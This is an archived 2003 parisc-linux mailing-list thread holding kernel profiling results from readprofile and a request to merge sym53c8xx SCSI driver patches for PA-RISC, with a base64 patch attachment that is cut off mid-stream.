NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 13 23:26:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C04794829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Apr 2003 23:26:43 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 12E52CD295; Sun, 13 Apr 2003 22:22:48 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18239

i ran 'readprofile' on a 2.5.67-pa3 UP kernel (a500, 64-bit) with
several different workloads. here are the numbers if anyone is
interested.

the results are from 
readprofile -m System.map -d vmlinux | sort -rn -k3 | head -30
Each data set is collected from a freshly booted kernel. 

1) 'make clean vmlinux' on a 2.5 kernel tree:

1040421 cpu_idle                       14450.2917
  7616 fdsync                         380.8000
 32303 flush_kernel_icache_page       323.0300
  9059 flush_user_dcache_range_asm    251.6389
  8762 flush_user_icache_range_asm    243.3889
  1066 fioneloop                      133.2500
 10400 clear_user_page_asm             92.8571
  3133 flush_kernel_dcache_page        31.3300
  2457 purge_kernel_dcache_page        24.5700
  2725 copy_user_page_asm              17.9276
   228 fimanyloop                      11.4000
  2583 handle_interruption              6.9435
  1215 pdc_tod_read                     6.6033
    88 syscall_check_bh                 5.5000
   222 .L1123                           4.6250
   209 flush_all_caches                 3.7321
1128570 total                            3.6959 0.83%
    36 intr_check_sig                   3.0000
    82 syscall_exit                     2.0500
    37 intr_return                      1.8500
   436 syscall_restore                  1.7581
    20 fisync                           1.6667
   379 parisc_acctyp                    1.3536
   546 intr_restore                     1.2080
  1024 do_page_fault                    1.1963
    99 __wake_up                        1.0312
    11 intr_check_resched               0.9167
     7 syscall_check_sig                0.8750
    65 .L1073                           0.8553
   176 update_mmu_cache                 0.6286

2) cp -r glibc glibc.bak; sync
   glibc is a glibc source tree with ~24k files (~726MB)
   (Note that this is on a s/w raid0 partition....)

409712 cpu_idle                       5690.4444
   770 fdsync                          38.5000
   985 flush_user_icache_range_asm     27.3611
   979 flush_user_dcache_range_asm     27.1944
  1788 flush_kernel_icache_page        17.8800
    99 fioneloop                       12.3750
   136 intr_return                      6.8000
   996 pdc_tod_read                     5.4130
   341 copy_user_page_asm               2.2434
   179 flush_kernel_dcache_page         1.7900
    32 fimanyloop                       1.6000
417412 total                            1.3670 0.29%
    13 syscall_check_bh                 0.8125
    67 __wake_up                        0.6979
   165 syscall_restore                  0.6653
    25 syscall_exit                     0.6250
   228 pdc_iodc_putc                    0.6064
    54 current_kernel_time              0.5192
    58 clear_user_page_asm              0.5179
     3 syscall_check_resched            0.3750
   113 handle_interruption              0.3038
    11 remove_wait_queue                0.2750
    24 prepare_to_wait                  0.2500
    27 io_schedule                      0.2109
     5 scheduling_functions_start_here   0.2083
     2 intr_check_sig                   0.1667
   158 schedule                         0.1274
     1 L21                             0.1250
    29 add_timer                        0.1133
    18 sys_adjtimex                     0.1071

3) from another machine on the same subnet, ftp the whole glibc tree 
   as a single 13MB tar file. (@ 1.11MB/s)

138489 cpu_idle                       1923.4583
   743 fdsync                          37.1500
   980 flush_user_icache_range_asm     27.2222
   980 flush_user_dcache_range_asm     27.2222
  2000 flush_kernel_icache_page        20.0000
    93 fioneloop                       11.6250
  1009 pdc_tod_read                     5.4837
   359 copy_user_page_asm               2.3618
   169 flush_kernel_dcache_page         1.6900
    22 fimanyloop                       1.1000
   223 pdc_iodc_putc                    0.5931
    66 clear_user_page_asm              0.5893
145635 total                            0.4769 0.23%
     3 fisync                           0.2500
    83 handle_interruption              0.2231
     8 syscall_exit                     0.2000
    43 syscall_restore                  0.1734
     3 intr_return                      0.1500
     7 add_wait_queue                   0.1250
     5 remove_wait_queue                0.1250
     2 syscall_check_bh                 0.1250
     1 syscall_check_resched            0.1250
     6 flush_cache_all_local            0.1071
     9 purge_kernel_dcache_page         0.0900
    18 pdc_pat_cell_module              0.0833
     1 intr_check_sig                   0.0833
     5 .L1073                           0.0658
    25 intr_restore                     0.0553
     5 __wake_up                        0.0521
     2 .L1123                           0.0417

Hope someone find these useful and can help make the kernel more
optimized.. :-) I'm not quite sure why there are so many cache
flushes.... 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 11:52:29 +0000
Lines: 709
Approved: news@gmane.org
Message-ID: <3E8AE87E00006BD1@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3E8AE87E00006BD1/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622381 24607 80.91.229.3 (22 Nov 2014 02:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Gerard Roudier" <groudier@free.fr>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 05:52:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D7FA4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 05:52:34 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1952Vi-0002BK-00; Mon, 14 Apr 2003 13:52:30 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 14 Apr 2003 13:52:29 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18240

--========/3E8AE87E00006BD1/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi Gerard,

For the merge of palinux tree with upstream, I would like to submit to your
attention following patches needed in parisc tree:

>-- Original Message --
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] parisc-linux.org kernel
>Date: Fri, 11 Apr 2003 09:58:50 -0600
>
>
>On Fri, Apr 11, 2003 at 07:40:32AM +0200, Joel Soete wrote:
>> Here is the rough diffstat (still have to reverse ql driver patches,
I
>will
>> try to find time this week-end :) )
>
>cool - let me add some general comments.
>You might break the diff up into chunks along the lines that
>I've commented on them below. You should end up with something like
>15-20 patches.
>
...
>>  drivers/scsi/ncr53c8xx.c                          |  341 +
>	rhirst changes for zalon support?
...
>
>>  drivers/scsi/sym53c8xx.c                          |   44
>>  drivers/scsi/sym53c8xx_2/sym_glue.c               |   14
>>  drivers/scsi/sym53c8xx_2/sym_hipd.c               |   35
>>  drivers/scsi/sym53c8xx_defs.h                     |   83
>	All of these sym53c8xx changes have been blessed by Gerard Roudier.
>	He's the maintainer. Please submit.
>

Thanks in advance for your help,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be



--========/3E8AE87E00006BD1/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="03_Sym53c8.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIxLXByZTcvZHJpdmVycy9zY3NpL3N5bTUz
Yzh4eC5jIGxpbnV4LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVycy9zY3NpL3N5bTUzYzh4eC5jCi0t
LSBsaW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4LmMJMjAwMy0wMy0yNyAx
OTo0Mzo1MS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVy
cy9zY3NpL3N5bTUzYzh4eC5jCTIwMDMtMDMtMjcgMTg6NTA6MjIuMDAwMDAwMDAwICswMTAwCkBA
IC00OTE1LDYgKzQ5MTUsMTEgQEAKIAl1X2xvbmcJcGVyaW9kOwogCWludCBpOwogCisjaWZkZWYg
Q09ORklHX1BBUklTQworCWNoYXIgc2NzaV9tb2RlID0gLTE7CisJc3RydWN0IGhhcmR3YXJlX3Bh
dGggaHdwYXRoOworI2VuZGlmCisKIAkvKgogCSoqCVdpZGUgPwogCSovCkBAIC00OTg2LDYgKzQ5
OTEsMjkgQEAKIAkgKi8KIAogCXBlcmlvZCA9ICg0ICogZGl2XzEwTVswXSArIG5wLT5jbG9ja19r
aHogLSAxKSAvIG5wLT5jbG9ja19raHo7CisKKyNpZiBkZWZpbmVkKENPTkZJR19QQVJJU0MpCisJ
LyogSG9zdCBmaXJtd2FyZSAoUERDKSBrZWVwcyBhIHRhYmxlIGZvciBjcmlwcGxpbmcgU0NTSSBj
YXBhYmlsaXRpZXMuCisJICogTWFueSBuZXdlciBtYWNoaW5lcyBleHBvcnQgb25lIGNoYW5uZWwg
b2YgNTNjODk2IGNoaXAKKwkgKiBhcyBTRSwgNTAtcGluIEhELiAgQWxzbyB1c2VkIGZvciBNdWx0
aS1pbml0aWF0b3IgU0NTSSBjbHVzdGVycworCSAqIHRvIHNldCB0aGUgU0NTSSBJbml0aWF0b3Ig
SUQuCisJICovCisJZ2V0X3BjaV9ub2RlX3BhdGgobnAtPnBkZXYsICZod3BhdGgpOworCWlmIChw
ZGNfZ2V0X2luaXRpYXRvcigmaHdwYXRoLCAmbnAtPm15YWRkciwgJnBlcmlvZCwgJm5wLT5tYXh3
aWRlLCAmc2NzaV9tb2RlKSkKKwl7CisJCWlmIChzY3NpX21vZGUgPj0gMCkgeworCQkJLyogQzMw
MDAgUERDIHJlcG9ydHMgcGVyaW9kL21vZGUgKi8KKwkJCWRyaXZlcl9zZXR1cC5kaWZmX3N1cHBv
cnQgPSAwOworCQkJc3dpdGNoKHNjc2lfbW9kZSkgeworCQkJY2FzZSAwOglucC0+c2NzaV9tb2Rl
ID0gU01PREVfU0U7IGJyZWFrOworCQkJY2FzZSAxOglucC0+c2NzaV9tb2RlID0gU01PREVfSFZE
OyBicmVhazsKKwkJCWNhc2UgMjoJbnAtPnNjc2lfbW9kZSA9IFNNT0RFX0xWRDsgYnJlYWs7CisJ
CQlkZWZhdWx0OglicmVhazsKKwkJCX0KKwkJfQorCX0KKyNlbmRpZgorCiAJaWYJKHBlcmlvZCA8
PSAyNTApCQlucC0+bWluc3luYyA9IDEwOwogCWVsc2UgaWYJKHBlcmlvZCA8PSAzMDMpCQlucC0+
bWluc3luYyA9IDExOwogCWVsc2UgaWYJKHBlcmlvZCA8PSA1MDApCQlucC0+bWluc3luYyA9IDEy
OwpAQCAtNTEyOCw3ICs1MTU2LDYgQEAKIAkJbnAtPnJ2X2N0ZXN0NAl8PSBNUEVFOwkvKiBNYXN0
ZXIgcGFyaXR5IGNoZWNraW5nICovCiAJaWYgKGRyaXZlcl9zZXR1cC5zY3NpX3Bhcml0eSkKIAkJ
bnAtPnJ2X3NjbnRsMAl8PSAweDBhOwkvKiAgZnVsbCBhcmIuLCBlbmEgcGFyaXR5LCBwYXItPkFU
TiAgKi8KLQogI2lmZGVmIFNDU0lfTkNSX05WUkFNX1NVUFBPUlQKIAkvKgogCSoqCUdldCBwYXJp
dHkgY2hlY2tpbmcsIGhvc3QgSUQgYW5kIHZlcmJvc2UgbW9kZSBmcm9tIE5WUkFNCkBAIC01MTk2
LDcgKzUyMjMsNyBAQAogCQkJaWYgKG5wLT5zdl9zdGVzdDIgJiAweDIwKQogCQkJCW5wLT5zY3Np
X21vZGUgPSBTTU9ERV9IVkQ7CiAJCQlicmVhazsKLQkJZGVmYXVsdDovKiBEb24ndCBjYXJlIGFi
b3V0IEhWRCAqLwkKKwkJZGVmYXVsdDogLyogRG9uJ3QgY2FyZSBhYm91dCBIVkQgKi8JCiAJCQli
cmVhazsKIAkJfQogCX0KQEAgLTUyMzksNiArNTI2Niw3IEBACiAJCXRjYl9wIHRwID0gJm5wLT50
YXJnZXRbaV07CiAKIAkJdHAtPnVzcnN5bmMgPSAyNTU7CisKICNpZmRlZiBTQ1NJX05DUl9OVlJB
TV9TVVBQT1JUCiAJCWlmIChudnJhbSkgewogCQkJc3dpdGNoKG52cmFtLT50eXBlKSB7CkBAIC01
MjU2LDEwICs1Mjg0LDExIEBACiAJCQlpZiAoZHJpdmVyX3NldHVwLnVzZV9udnJhbSAmIDB4OCkK
IAkJCQl0cC0+dXNyZmxhZyAmPSB+VUZfTk9TQ0FOOwogCQl9Ci0JCWVsc2UgeworCQllbHNlCiAj
ZWxzZQotCQlpZiAoMSkgeworCQlpZiAoMSkgCiAjZW5kaWYKKwkJewogCQkJdHAtPnVzcnN5bmMg
PSBkcml2ZXJfc2V0dXAuZGVmYXVsdF9zeW5jOwogCQkJdHAtPnVzcndpZGUgPSBkcml2ZXJfc2V0
dXAubWF4X3dpZGU7CiAJCQl0cC0+dXNydGFncyA9IE1BWF9UQUdTOwpAQCAtNzA3NCw3ICs3MTAz
LDExIEBACiAJCSgoSU5XKG5jX3NiZGwpICYgMHhmZjAwKSA8PCAxMCkgfAkvKiBkMTUtOCAgICAq
LwogCQlJTkIobmNfc2JjbCk7CS8qIHJlcSBhY2sgYnN5IHNlbCBhdG4gbXNnIGNkIGlvICAgICov
CiAKKyNpZmRlZiBDT05GSUdfUEFSSVNDCisJaWYgKCFucC0+bWF4d2lkZSkKKyNlbHNlCiAJaWYg
KCEobnAtPmZlYXR1cmVzICYgRkVfV0lERSkpCisjZW5kaWYKIAkJdGVybSAmPSAweDNmZmZmOwog
CiAJaWYgKHRlcm0gIT0gKDI8PDcpKSB7CkBAIC0xMjk3NCw2ICsxMzAwNyw3IEBACiAJCX0KIAkJ
aWYgKGkgIT0gY291bnQpCS8qIElnbm9yZSB0aGlzIGRldmljZSBpZiB3ZSBhbHJlYWR5IGhhdmUg
aXQgKi8KIAkJCWNvbnRpbnVlOworCQlwY2lfc2V0X21hc3RlcihwY2lkZXYpOwogCQlkZXZwID0g
JmRldnRibFtjb3VudF07CiAJCWRldnAtPmhvc3RfaWQgPSBkcml2ZXJfc2V0dXAuaG9zdF9pZDsK
IAkJZGV2cC0+YXR0YWNoX2RvbmUgPSAwOwpAQCAtMTMyMTcsNyArMTMyNTEsNyBAQAogCQlyZXR1
cm4gLTE7CiAJfQogCi0jaWZkZWYgX19wb3dlcnBjX18KKyNpZiBkZWZpbmVkKF9fcG93ZXJwY19f
KSB8fCBkZWZpbmVkKF9faHBwYV9fKQogCS8qCiAJKioJRml4LXVwIGZvciBwb3dlci9wYy4KIAkq
KglTaG91bGQgbm90IGJlIHBlcmZvcm1lZCBieSB0aGUgZHJpdmVyLgpkaWZmIC1OYXVyWCBkb250
ZGlmZiBsaW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4XzIvc3ltX2dsdWUu
YyBsaW51eC0yLjQuMjEtcHJlNy1wYTN4L2RyaXZlcnMvc2NzaS9zeW01M2M4eHhfMi9z
eW1fZ2x1ZS5jCi0tLSBsaW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4XzIv
c3ltX2dsdWUuYwkyMDAyLTExLTI5IDAwOjUzOjE0LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgt
Mi40LjIxLXByZTctcGEzeC9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4XzIvc3ltX2dsdWUuYwkyMDAy
LTEyLTIwIDE1OjU2OjIyLjAwMDAwMDAwMCArMDEwMApAQCAtMTQyLDEwICsxNDIsMjQgQEAKICNk
ZWZpbmUJU1lNX0xPQ0tfSENCKG5wLCBmbGFncykgICBzcGluX2xvY2tfaXJxc2F2ZSgmbnAtPnMu
c21wX2xvY2ssIGZsYWdzKQogI2RlZmluZQlTWU1fVU5MT0NLX0hDQihucCwgZmxhZ3MpIHNwaW5f
dW5sb2NrX2lycXJlc3RvcmUoJm5wLT5zLnNtcF9sb2NrLCBmbGFncykKIAorLyogV2FybmluZyEK
KyAqIHN5bTIgZHJpdmVyIHVzZWQgdG8gaG9sZCBpb3JsIGluIHN5bTUzYzh4eF9pbnRyIGFuZCBz
eW1fdGltZXIKKyAqIHdpdGggdGhlc2UgbWFjcm9zLiBIb3dldmVyLCB3ZSBoYXZlIG9ic2VydmVk
IHRoYXQgdGhpcyBjYXVzZXMKKyAqIGEgZGVhZGxvY2sgd2l0aCB0aGUgaW9ybCBoZWxkIGJ5IHNj
c2lfcmVnaXN0ZXJfaG9zdC4gQSBzdXJ2ZXkKKyAqIG9mIGEgY291cGxlIG9mIG90aGVyIHNjc2kg
ZHJpdmVycyB0aGF0IHVzZXMgdGhlICJuZXciIGVoCisgKiBjb2RlIHNlZW1zIHRvIHN1Z2dlc3Qg
dGhhdCB0aGlzIGlzIG5vdCByZXF1aXJlZC4gSSd2ZSBkaXNhYmxlZAorICogdGhlc2UgZm9yIG5v
dywgd2l0aG91dCBoYXZpbmcgY29tcGxldGVseSB1bmRlcnN0b29kIGlmIHRoaXMKKyAqIGlzIGNv
cnJlY3QuCisgKi8KKyNpZm5kZWYgQ09ORklHX1BBUklTQyAvKiBoYWNrICovCiAjZGVmaW5lCVNZ
TV9MT0NLX1NDU0kobnAsIGZsYWdzKSBcCiAJCXNwaW5fbG9ja19pcnFzYXZlKCZpb19yZXF1ZXN0
X2xvY2ssIGZsYWdzKQogI2RlZmluZQlTWU1fVU5MT0NLX1NDU0kobnAsIGZsYWdzKSBcCiAJCXNw
aW5fdW5sb2NrX2lycXJlc3RvcmUoJmlvX3JlcXVlc3RfbG9jaywgZmxhZ3MpCisjZWxzZQorI2Rl
ZmluZQlTWU1fTE9DS19TQ1NJKG5wLCBmbGFncykKKyNkZWZpbmUJU1lNX1VOTE9DS19TQ1NJKG5w
LCBmbGFncykKKyNlbmRpZgogCiAvKiBVZ2x5LCBidXQgd2lsbCBtYWtlIHRoaW5ncyBlYXNpZXIg
aWYgdGhpcyBsb2NraW5nIHdpbGwgZXZlciBkaXNhcHBlYXIgKi8KICNkZWZpbmUJU1lNX0xPQ0tf
U0NTSV9OT1NBVkUobnApCXNwaW5fbG9ja19pcnEoJmlvX3JlcXVlc3RfbG9jaykKZGlmZiAtTmF1
clggZG9udGRpZmYgbGludXgtMi40LjIxLXByZTcvZHJpdmVycy9zY3NpL3N5bTUzYzh4eF8yL3N5
bV9oaXBkLmMgbGludXgtMi40LjIxLXByZTctcGEzeC9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4XzIv
c3ltX2hpcGQuYwotLS0gbGludXgtMi40LjIxLXByZTcvZHJpdmVycy9zY3NpL3N5bTUzYzh4eF8y
L3N5bV9oaXBkLmMJMjAwMy0wMy0yNyAxOTo0Mzo1MS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4
LTIuNC4yMS1wcmU3LXBhM3gvZHJpdmVycy9zY3NpL3N5bTUzYzh4eF8yL3N5bV9oaXBkLmMJMjAw
My0wMy0yNyAxODo1MDoyMi4wMDAwMDAwMDAgKzAxMDAKQEAgLTI4OSw3ICsyODksMTEgQEAKIAkJ
KChJTlcobmNfc2JkbCkgJiAweGZmMDApIDw8IDEwKSB8CS8qIGQxNS04ICAgICovCiAJCUlOQihu
Y19zYmNsKTsJLyogcmVxIGFjayBic3kgc2VsIGF0biBtc2cgY2QgaW8gICAgKi8KIAorI2lmZGVm
IENPTkZJR19QQVJJU0MKKwlpZiAoIW5wLT5tYXh3aWRlKQorI2Vsc2UKIAlpZiAoIShucC0+ZmVh
dHVyZXMgJiBGRV9XSURFKSkKKyNlbmRpZgogCQl0ZXJtICY9IDB4M2ZmZmY7CiAKIAlpZiAodGVy
bSAhPSAoMjw8NykpIHsKQEAgLTc0NCw2ICs3NDgsMTIgQEAKIAl1MzIJcGVyaW9kOwogCWludCBp
OwogCisjaWZkZWYgQ09ORklHX1BBUklTQworCXVuc2lnbmVkIGxvbmcgcGRjX3BlcmlvZDsKKwlj
aGFyIHNjc2lfbW9kZSA9IC0xOworCXN0cnVjdCBoYXJkd2FyZV9wYXRoIGh3cGF0aDsKKyNlbmRp
ZgorCiAJLyoKIAkgKiAgV2lkZSA/CiAJICovCkBAIC04MDAsNiArODEwLDMxIEBACiAJICogQnR3
LCAncGVyaW9kJyBpcyBpbiB0ZW50aHMgb2YgbmFub3NlY29uZHMuCiAJICovCiAJcGVyaW9kID0g
KDQgKiBkaXZfMTBNWzBdICsgbnAtPmNsb2NrX2toeiAtIDEpIC8gbnAtPmNsb2NrX2toejsKKwor
I2lmIGRlZmluZWQoQ09ORklHX1BBUklTQykKKwkvKiBIb3N0IGZpcm13YXJlIChQREMpIGtlZXBz
IGEgdGFibGUgZm9yIGNyaXBwbGluZyBTQ1NJIGNhcGFiaWxpdGllcy4KKwkgKiBNYW55IG5ld2Vy
IG1hY2hpbmVzIGV4cG9ydCBvbmUgY2hhbm5lbCBvZiA1M2M4OTYgY2hpcAorCSAqIGFzIFNFLCA1
MC1waW4gSEQuICBBbHNvIHVzZWQgZm9yIE11bHRpLWluaXRpYXRvciBTQ1NJIGNsdXN0ZXJzCisJ
ICogdG8gc2V0IHRoZSBTQ1NJIEluaXRpYXRvciBJRC4KKwkgKi8KKwlnZXRfcGNpX25vZGVfcGF0
aChucC0+cy5kZXZpY2UsICZod3BhdGgpOworCWlmIChwZGNfZ2V0X2luaXRpYXRvcigmaHdwYXRo
LCAmbnAtPm15YWRkciwgJnBkY19wZXJpb2QsICZucC0+bWF4d2lkZSwgJnNjc2lfbW9kZSkpCisJ
eworCQlpZiAoc2NzaV9tb2RlID49IDApIHsKKwkJCS8qIEMzMDAwIFBEQyByZXBvcnRzIHBlcmlv
ZC9tb2RlICovCisJCQlTWU1fU0VUVVBfU0NTSV9ESUZGID0gMDsKKwkJCXN3aXRjaChzY3NpX21v
ZGUpIHsKKwkJCWNhc2UgMDoJbnAtPnNjc2lfbW9kZSA9IFNNT0RFX1NFOyBicmVhazsKKwkJCWNh
c2UgMToJbnAtPnNjc2lfbW9kZSA9IFNNT0RFX0hWRDsgYnJlYWs7CisJCQljYXNlIDI6CW5wLT5z
Y3NpX21vZGUgPSBTTU9ERV9MVkQ7IGJyZWFrOworCQkJZGVmYXVsdDoJYnJlYWs7CisJCQl9CisJ
CX0KKworCQlwZXJpb2QgPSAodTMyKSBwZGNfcGVyaW9kOworCX0KKyNlbmRpZgorCiAJaWYJKHBl
cmlvZCA8PSAyNTApCQlucC0+bWluc3luYyA9IDEwOwogCWVsc2UgaWYJKHBlcmlvZCA8PSAzMDMp
CQlucC0+bWluc3luYyA9IDExOwogCWVsc2UgaWYJKHBlcmlvZCA8PSA1MDApCQlucC0+bWluc3lu
YyA9IDEyOwpkaWZmIC1OYXVyWCBkb250ZGlmZiBsaW51eC0yLjQuMjEtcHJlNy9kcml2
ZXJzL3Njc2kvc3ltNTNjOHh4X2RlZnMuaCBsaW51eC0yLjQuMjEtcHJlNy1wYTN4L2RyaXZlcnMv
c2NzaS9zeW01M2M4eHhfZGVmcy5oCi0tLSBsaW51eC0yLjQuMjEtcHJlNy9kcml2ZXJzL3Njc2kv
c3ltNTNjOHh4X2RlZnMuaAkyMDAyLTA4LTAzIDAyOjM5OjQ0LjAwMDAwMDAwMCArMDIwMAorKysg
bGludXgtMi40LjIxLXByZTctcGEzeC9kcml2ZXJzL3Njc2kvc3ltNTNjOHh4X2RlZnMuaAkyMDAz
LTAzLTE5IDE0OjMzOjI1LjAwMDAwMDAwMCArMDEwMApAQCAtODIsOSArODIsMTEgQEAKIC8qCiAg
KglObyBtb3JlIGFuIG9wdGlvbiwgZW5hYmxlZCBieSBkZWZhdWx0LgogICovCisjaWZuZGVmIEVO
QUJMRV9TQ1NJX1pBTE9OCiAjaWZuZGVmIENPTkZJR19TQ1NJX05DUjUzQzhYWF9OVlJBTV9ERVRF
Q1QKICNkZWZpbmUgQ09ORklHX1NDU0lfTkNSNTNDOFhYX05WUkFNX0RFVEVDVAogI2VuZGlmCisj
ZW5kaWYKIAogLyoKICoqCVRoZXNlIG9wdGlvbnMgYXJlIG5vdCB0dW5hYmxlIGZyb20gJ21ha2Ug
Y29uZmlnJwpAQCAtMTg1LDYgKzE4NywyNCBAQAogI2VuZGlmCiAjZWxpZiBkZWZpbmVkKF9fc3Bh
cmNfXykKICN1bmRlZiBTQ1NJX05DUl9JT01BUFBFRAorI2VsaWYgZGVmaW5lZChfX2hwcGFfXykK
KyNpZiBkZWZpbmVkKEVOQUJMRV9TQ1NJX1pBTE9OKQorI3VuZGVmIFNDU0lfTkNSX0lPTUFQUEVE
CisjZW5kaWYKKyNlbmRpZgorCisvKgorICogU2hvdWxkIHdlIGVuYWJsZSBEQUMgY3ljbGVzIG9u
IFNwYXJjNjQgcGxhdGZvcm0/CisgKiBVbnRpbCBmdXJ0aGVyIGludmVzdGlnYXRpb24gd2UgZG8g
bm90IGVuYWJsZSBpdAorICogYXQgdGhlIG1vbWVudC4KKyAqIFdlIG1heSB3YW50IHRvIGVuYWJs
ZSBpdCBmb3IgX19pYTY0X18gKHVudGVzdGVkKQorICovCisjaWYgZGVmaW5lZChfX2lhNjRfXykK
KyMgICAgaWYgIWRlZmluZWQoU0NTSV9OQ1JfVVNFXzY0QklUX0RBQykKKyMgICAgICAgIGRlZmlu
ZSBTQ1NJX05DUl9VU0VfNjRCSVRfREFDCisjICAgIGVuZGlmCisjZWxzZQorIyAgICB1bmRlZiBT
Q1NJX05DUl9VU0VfNjRCSVRfREFDCiAjZW5kaWYKIAogLyoKQEAgLTM4MywyNSArNDAzLDI0IEBA
CiAjZGVmaW5lCXJlYWRiX3JhdwlyZWFkYgogI2RlZmluZQl3cml0ZWJfcmF3CXdyaXRlYgogCi0j
aWYgZGVmaW5lZChfX2hwcGFfXykKLSNkZWZpbmUJcmVhZHdfbDJiKGEpCWxlMTZfdG9fY3B1KHJl
YWR3KGEpKQotI2RlZmluZQlyZWFkbF9sMmIoYSkJbGUzMl90b19jcHUocmVhZGwoYSkpCi0jZGVm
aW5lCXdyaXRld19iMmwodixhKQl3cml0ZXcoY3B1X3RvX2xlMTYodiksYSkKLSNkZWZpbmUJd3Jp
dGVsX2IybCh2LGEpCXdyaXRlbChjcHVfdG9fbGUzMih2KSxhKQotI2VsaWYgZGVmaW5lZChfX21p
cHNfXykKLSNkZWZpbmUgcmVhZHdfbDJiCXJlYWR3Ci0jZGVmaW5lIHJlYWRsX2wyYglyZWFkbAot
I2RlZmluZSB3cml0ZXdfYjJsCXdyaXRldwotI2RlZmluZSB3cml0ZWxfYjJsCXdyaXRlbAotI2Rl
ZmluZSBpbndfbDJiIAlpbncKLSNkZWZpbmUgaW5sX2wyYiAJaW5sCi0jZGVmaW5lIG91dHdfYjJs
CW91dHcKLSNkZWZpbmUgb3V0bF9iMmwJb3V0bAorI2lmIGRlZmluZWQoU0NTSV9OQ1JfQklHX0VO
RElBTikKKyNkZWZpbmUJcmVhZHdfbDJiCV9fcmF3X3JlYWR3CisjZGVmaW5lCXJlYWRsX2wyYglf
